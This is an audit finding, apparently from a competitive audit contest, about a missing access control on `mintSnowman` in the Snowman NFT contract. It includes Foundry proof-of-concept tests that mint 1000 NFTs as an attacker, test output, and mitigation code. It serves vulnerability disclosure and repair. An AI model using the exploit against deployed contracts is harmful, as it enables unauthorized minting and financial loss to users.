Snowman Merkle Airdrop

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Submission Details
Severity: high
Valid

Unrestricted `mintSnowman` Function Allows Unlimited NFT Minting**


Critical Vulnerability Report: Unrestricted mintSnowman Function Allows Unlimited NFT Minting

| Category | Access Control / Token Minting |


Summary

The Snowman contract, which implements the ERC‑721 token for the protocol, exposes the mintSnowman function without any access control. Any external caller can invoke this function directly to mint an arbitrary number of Snowman NFTs to any address. This bypasses the entire staking and airdrop mechanism, completely destroying the intended 1:1 relationship between Snow tokens and Snowman NFTs.


Vulnerability Details

The vulnerable function is located in Snowman.sol:

function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
  • No modifier: The function lacks onlyOwner, onlyMinter, or any custom restriction.

  • External visibility: It is callable by any Ethereum address.

  • Unbounded amount: The amount parameter is fully controlled by the caller, allowing minting of millions of NFTs in a single transaction.

The protocol design intends that Snowman NFTs are only minted through the SnowmanAirdrop contract (via i_snowman.mintSnowman(receiver, amount) inside claimSnowman). However, because the mint function is public, any attacker can interact with the Snowman contract directly, completely sidestepping the airdrop.


Proof of Concept

The following Foundry test proves the exploit. It does not require any Snow tokens, signatures, or Merkle proofs.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/Snowman.sol";
contract UnrestrictedMintPoC is Test {
Snowman snowman;
address attacker = address(0xBEEF);
string constant SVG = "<svg>test</svg>";
function setUp() public {
snowman = new Snowman(SVG);
}
function test_AnyoneCanMintUnlimitedNFTs() public {
uint256 amountToMint = 1000;
vm.prank(attacker);
snowman.mintSnowman(attacker, amountToMint);
// Attacker now owns 1000 Snowman NFTs without any cost
assertEq(snowman.balanceOf(attacker), amountToMint);
console.log("Attacker minted %d NFTs with zero Snow tokens", amountToMint);
}
}

Running this test successfully shows that any address can mint unlimited NFTs.


Impact

  • Complete dilution of the NFT collection: An attacker can mint as many NFTs as desired, making the collection worthless and destroying any rarity or market value.

  • Breakdown of protocol economics: The staking and airdrop mechanisms become irrelevant. Legitimate users who staked Snow tokens lose all value, as anyone can obtain identical NFTs for free.

  • Direct financial loss: If NFTs have market value or grant future rewards, the attacker can sell or abuse them, causing direct monetary damage to the protocol and its users.

  • Protocol insolvency: The core value proposition of the project collapses, potentially leading to a complete loss of user trust and investment.


Recommended Mitigation

Add an access restriction to the mintSnowman function so that only the designated SnowmanAirdrop contract (or an authorized minter) can call it.

Option 1 – Separate minter role (recommended for flexibility):

address public minter;
modifier onlyMinter() {
require(msg.sender == minter, "Not minter");
_;
}
function setMinter(address _minter) external onlyOwner {
minter = _minter;
}
function mintSnowman(address receiver, uint256 amount) external onlyMinter {
// … minting logic unchanged
}

During deployment, call setMinter(address(airdropContract)).

Option 2 – Simple ownership (if Snowman is owned by the airdrop contract):
Simply add the onlyOwner modifier, and ensure that the SnowmanAirdrop contract is the owner.

function mintSnowman(address receiver, uint256 amount) external onlyOwner {
// … minting logic unchanged
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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